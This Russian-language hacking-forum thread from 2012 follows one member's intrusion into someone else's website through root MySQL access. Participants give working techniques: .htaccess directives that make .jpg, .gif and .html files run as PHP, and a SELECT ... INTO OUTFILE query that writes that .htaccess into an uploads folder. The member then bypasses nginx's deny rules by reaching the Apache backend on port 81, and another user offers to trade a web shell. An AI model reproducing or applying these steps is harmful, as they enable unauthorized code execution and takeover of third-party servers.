ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Песочница (https://forum.antichat.io/forumdisplay.php?f=189)
-   -   mysql + .htaccess (https://forum.antichat.io/showthread.php?t=327659)

Pirotexnik 07.04.2012 22:03

Добрый день.

Я вобщем, как обычно

Суть такая:

Есть root доступ к MySql на сервере с сайтом.

Могу писать, читать и тд.

Проблемма вот в чем.

1) Все диры кроме /uploads - Error 13 (не хватает прав)

2) В дире /uploads много подпапок.

3) Из них нельзя запускать *.php (и подобные)

4) Пытаюсь создать .htaccess

Цитата:

Сообщение от None
AddHandler application/x-httpd-php .php .htm .html

5) такой .htaccess не помог.

6) другое содержание

Цитата:

Сообщение от None

AddType application/x-httpd-php .gif


Почему-то записалось так

Цитата:

Сообщение от None

\
AddType application/x-httpd-php .gif
\


Есть идеи?

Спасибо.

Га-Ноцри 07.04.2012 22:52

Меня иногда выручала подобная конструкция:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]php_flag engine on[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]либо php engine on[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html

AddHandler application
[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html[/COLOR][/COLOR

А, ну и еще можно использовать PHP включения в .html файлах при помощи такого .htaccess

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]RemoveHandler[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]htm

AddType application
[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]htm[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][/COLOR


Pirotexnik 07.04.2012 23:04

При записе НЕСКОЛЬКИХ строк появляются слэши.

Нужно что-то, что будет работать в 1 строку. Либо как решить эту проблемму.

Га-Ноцри 07.04.2012 23:06

Цитата:

Сообщение от Pirotexnik
При записе НЕСКОЛЬКИХ строк появляются слэши.
Нужно что-то, что будет работать в 1 строку. Либо как решить эту проблемму.

Записать в одну строку

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]php_flag engine on[/COLOR][/COLOR

и попробовать выполнить .php или .phtml

Pirotexnik 08.04.2012 01:17

php

Цитата:

Сообщение от None
403 Forbidden

shtml

Открывается, но не выполняется.

Га-Ноцри 08.04.2012 01:59

Цитата:

Сообщение от Pirotexnik
php
shtml
Открывается, но не выполняется.

Ты будешь смеяться, но у меня буквально пару часов назад, один в один, была подобная ситуация - только вместо невозможности написать .htaccess в несколько строк, у меня просто выскакивала 500 ошибка при попытке записать php engine on. Боюсь, все дело в грамотно настроенном httpd.conf и/или корневом .htaccess. В итоге я плюнул на это дело и пошел за пивом.

Так что, боюсь, на этом моя фантазия исчерпана и я не знаю, как помочь в твоем случае

Pirotexnik 08.04.2012 02:10

.htaccess перенастраивает свойства диры, в которой лежит, и всех вложенных.

Похоже, прийдется забивать

asiaman 08.04.2012 03:26

Цитата:

Сообщение от Pirotexnik
.htaccess перенастраивает свойства диры, в которой лежит, и всех вложенных.
Похоже, прийдется забивать

а перл и др. скрипты могут выполниться? что на сервере есть? и какие модули апача стоят?

если будешь забивать совсем. то можешь скинуть в личку, я пораскину мозгами. в замен тоже какой-нить шелл дам, если нужно.

просто читать статьи - в одно ухо называется. без практики на завтра уже и не вспомню как да чего читал((

да и ты когда-то про форум движок Дискуз статью писал. Я некоторые азиатские языки знаю. и тоже на некоторых азиатских бордах есть. так вот Дискуз - китайский двиг. под Дискуз в чайна-нете есть сплойты. но азиаты в осовном на вин-системы ориентируются.

если что пиши в личку. жаба тоже есть)

Expl0ited 08.04.2012 09:38

в качестве переноса строки нужно использовать \r

select "test\rtest2" into outfile '/путь/1.txt'

Код:

cat 1.txt
test
test2

если использовать \n то получится:

Код:

cat 2.txt
test\
test2


Pirotexnik 08.04.2012 12:09

Цитата:

Сообщение от None
select 'php_flag engine on \rAddType application/x-httpd-php .phtml .jpg .html \rAddHandler application/x-httpd-php .phtml .jpg .html \r \rAddType application/x-httpd-php .gif \r' INTO OUTFILE '/home/*/public_html/members/uploads/xx_02/.htaccess'

Создался нормально!

.php - 403

.shtml - не выполняется

.jpg - не выполняется

.gif - не выполняется

Cennarios 09.04.2012 02:42

Цитата:

Сообщение от Pirotexnik
Создался нормально!
.php - 403
.shtml - не выполняется
.jpg - не выполняется
.gif - не выполняется

Сие означает , что либо на директорию выставлены соответствующие права , запрещающие выполнение скриптов или базовая конфигурация апача опционально игнорирует правила htaccess к данной конкретной директории.

asiaman 09.04.2012 13:19

Цитата:

Сообщение от Cennarios
Сие означает , что либо на директорию выставлены соответствующие права , запрещающие выполнение скриптов или базовая конфигурация апача опционально игнорирует правила htaccess к данной конкретной директории.

Я тоже с таким столкнулся, но на другом ресурсе.

Для ТС. По твоему хосту я выснил, что его уже дручили не раз. Маднет вообще потещает "uzbekcms" Хотя через маднет-сканер вроде одна дитектория для записи есть.

+ советую пройтись просканить директории сканером dipbuster. Возможно существует нужная и доступная директория.

Pirotexnik 10.04.2012 01:15

Прошелся чем можно, только 1 дира... В ней ничего как php не выполняется...

.htaccess тупо игнорируется. Конфиг апача либо не доступен для чтения, либо я его не нашел.

Варианты?

Pirotexnik 10.04.2012 01:32

UPD!!!

Там стоит nginx!

Для него конфиги тоже задаются .htaccess?

Несмотря на это в дире /admin .htaccess работает исправно!

Конфиг nginx

Код:

user nginx;
 worker_processes 6;
 worker_rlimit_nofile 10240;

 #error_log /var/log/nginx/error.log;
 error_log /var/log/nginx/error.log notice;
 #error_log /var/log/nginx/error.log info;

 #pid /var/run/nginx.pid;

 events {
 worker_connections 1024;
 }

 http {
 include mime.types;
 default_type application/octet-stream;

 log_format main '$remote_addr $remote_user [$time_local] "$request" '
 '$status $body_bytes_sent "$http_referer" '
 '"$http_user_agent" "$http_x_forwarded_for"';

 access_log off;

 sendfile on;
 # tcp_nopush on;
 # tcp_nodelay on;

 #keepalive_timeout 0;
 keepalive_timeout 65;

 gzip on;
 gzip_disable "msie6";

 index index.php index.html index.htm;

 client_max_body_size 500m;
 upload_progress upload 1m;
 upload_progress_json_output;

 server {
 listen 80;
 server_name target.net;
 rewrite ^ http://www.target.net$request_uri permanent;
 }

 server {
 listen 80;
 server_name www.target.net
 target.at www.target.at
 target.name www.target.name
 target.org www.target.org
 target.tk www.target.tk
 target.us www.target.us
 target.de www.target.de;

 rewrite ^/index.htm$ /index.php last;
 rewrite ^/index.html$ /index.php last;
 rewrite ^/members/uploads/([a-z0-9_]+)/([-a-z_]+)__(.*)$ /members/uploads/$1/_$3 last;
 rewrite ^/members/uploads/([a-z0-9_]+)/([-a-z_]+)_(.*)$ /members/uploads/$1/$3 last;
 rewrite ^/([-a-z_]+).html$ /keyword.php?keyword=$1 last;
 rewrite ^/gallery_photo_([a-z]+)_([0-9]+)_([0-9]+).html$ /gallery_photo.php?l=$1&gender=$2&page=$3 last;
 rewrite ^/view_([a-z]+)_([0-9]+).html$ /view.php?l=$1&id=$2 last;
 rewrite ^/paypalok_([a-zA-Z0-9]+)_([a-zA-Z0-9]+)_([a-zA-Z0-9]+).html$ /paypalok.php?id=$1&package=$2&magic=$3 last;

 root /home/target/public_html;

 location /members/ {
 location ~ \.(php|php3|php4|php5)$ {
 deny all;
 }
 location ~ \.(jpg|png|gif|bmp|css|js)$ {
 expires 30d;
 }
 }

 location /admin/ {
 rewrite ^(.*).zip$ $1.php last;

 location ~ \.php$ {
 access_log /var/log/nginx/www.IK.admin.access.log main;
 include proxy_params;
 }
 }

 location /phpMy777/ {
 alias /srv/www/htdocs/phpMy777/;
 index index.php index.html index.htm;
 }

 location = /upload_progress {
 upload_progress_header APC_UPLOAD_PROGRESS;
 report_uploads upload;
 }
 location ~ /upload\.php$ {
 access_log /var/log/nginx/www.IK.uploads.log main;
 include proxy_params;
 upload_progress_header APC_UPLOAD_PROGRESS;
 track_uploads upload 30s;
 }

 location ~ \.php$ {
 access_log /var/log/nginx/www.IK.php.access.log main;
 include proxy_params;
 }

 # ngix statistic
 location = /nginx-stat {
 stub_status on;
 access_log off;
 allow 188.40.*.*;
 allow 127.0.0.1;
 allow 46.4.*.*;
 deny all;
 }

 # redirect server error pages to the static page /50x.html
 #
 error_page 500 502 503 504 /50x.html;
 location = /50x.html {
 root /srv/www/htdocs/;
 }

 error_page 404 /404.html;
 location = /404.html {
 root /srv/www/htdocs/;
 }

 # deny access to .htaccess files, if Apache's document root
 # concurs with nginx's one
 #
 location ~ /\.ht {
 deny all;
 }
 }
 }


Pirotexnik 10.04.2012 02:04

YAHOOOOOO!!!!

Зашел с 81 портом, постучал в бубен, потом по дереву, потом заработало!

Всем спасибо, всех люблю! :*:*:*

p.s. ребят, возьмите на заметку, нащёт 81 порта. Точнее нащёт того, кто обрабатывает страничку. Узнать кто на каком можно nmap'ом.

asiaman 10.04.2012 02:06

Цитата:

Сообщение от Pirotexnik
YAHOOOOOO!!!!
Зашел с 81 портом, постучал в бубен, потом по дереву, потом заработало!
Всем спасибо, всех люблю! :*:*:*
p.s. ребят, возьмите на заметку, нащёт 81 порта. Точнее нащёт того, кто обрабатывает страничку. Узнать кто на каком можно nmap'ом.

В смысле? получилось. можно чуть-чуть по подробнее. спс.

Или краткий мануал для новичков, можно в форме статьи. Я бы с радостью прочитал, как ты все делал и какие подводные камни были.

Pirotexnik 10.04.2012 02:22

Хорошо, будет "От дорка до рута 2"

Действительно, много-много нового узнал во время хэка этого сайта.

asiaman 10.04.2012 02:31

Цитата:

Сообщение от Pirotexnik
Хорошо, будет "От дорка до рута 2"
Действительно, много-много нового узнал во время хэка этого сайта.

Супер! Спасибо.

З.Ы. Надеюсь, что пафосные товарищи не будут тебя критиковать. А то они может и уровнем по выше. Но статьи не пишут, активно знаниями не деляться. А только пафос. Не обращай на них внимания. Главное, чтобы новичкам было понятно. И это гуд

Cennarios 10.04.2012 03:13

Цитата:

Сообщение от Pirotexnik
YAHOOOOOO!!!!
Зашел с 81 портом, постучал в бубен, потом по дереву, потом заработало!
Всем спасибо, всех люблю! :*:*:*
p.s. ребят, возьмите на заметку, нащёт 81 порта. Точнее нащёт того, кто обрабатывает страничку. Узнать кто на каком можно nmap'ом.

НИчего сверхъестественного здесь нет. Во первых, nginx не обрабатывает .htaccess. Файл .htaccess, это чисто апачевская приблуда. Далее, имеет место банальная связка nginx+apache по схеме frontend-backend для повышения производительности сервера. При должной настройке nginx обычно вешается на 80 порт и ловит все приходящие пакеты с заголовками по типовой схеме browser->80 port server и передает на backend apache, который вешают в силу естественных причин на другой порт, в данном случае на 81.

Pirotexnik 10.04.2012 03:43

Да, там связка, все верно! Но несмотря на это, на 80 порту не работает, на 81 работает.

Почему?

Cennarios 10.04.2012 03:57

Цитата:

Сообщение от Pirotexnik
Да, там связка, все верно! Но несмотря на это, на 80 порту не работает, на 81 работает.
Почему?

Потому что, как я и говорил, запрос сначала попадает на nginx. А там , взгляни внимательно на конфиг, идет определенный перечень правил, на основании которых запрос трансформируется необходимым образом. Взять хотя бы кусок конфига:

location /members/ {

location ~ \.(php|php3|php4|php5)$ {

deny all;

}

Сия конструкция запрещает выполнение скриптов с расширениями php|php3|php4|php5 в директории(или по линку) /members для любого IP в заголовке запроса.

Естественно, скрипты и не будут выполняться. Но если же обратиться на 81 порт на котором висит апач - site:81/members/script.php то скрипт успешно выполнится. Потому как запрос непроходит через ряд правил nginx'a а идет напрямую в backend.

Суть заключается именно в этом. Вообще, нормальный админ фиксит доступ к backend напрямую для внешней сети.


Время: 23:40